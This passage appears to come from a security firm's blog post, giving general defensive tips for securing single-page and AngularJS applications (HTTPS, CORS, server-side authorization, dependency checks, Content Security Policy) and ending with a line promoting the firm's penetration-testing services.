  • It is possible to browser-based MITM( Man-In-The-Middle) attack. The same attacker can put arbitrary code execution in your browser. So ensures HTTPS Everywhere.
  • Avoid using Allow-Origin “*”, Unless you have very strong authentication and authorization.
  • The SPA authorization is still up to the server to see the below rules are as follows. Also, it is applied to input validation.
  • Examining the authentication state
  • Examining profile and inferring permissions
  • Enabling Privileged actions
  • Filtering confidential data
  • The code which actually runs in our application is libraries and components. So check dependencies for both client and server vulnerabilities.                                                                                                                                                                                                                                                                                      CONTENT SECURITY POLICY:

Content Security Policy (CSP) is an additional layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. The browsers also support for Content Security Policy (CSP).
Angular js Emerged as one of the most powerful platform has the   ability to streamline the development process and make more responsive web applications. With the popularity these frameworks comes the confusion about the security issues making the application vulnerable.
We BriskInfosec Solution are providing various security and penetration services for safe guarding your business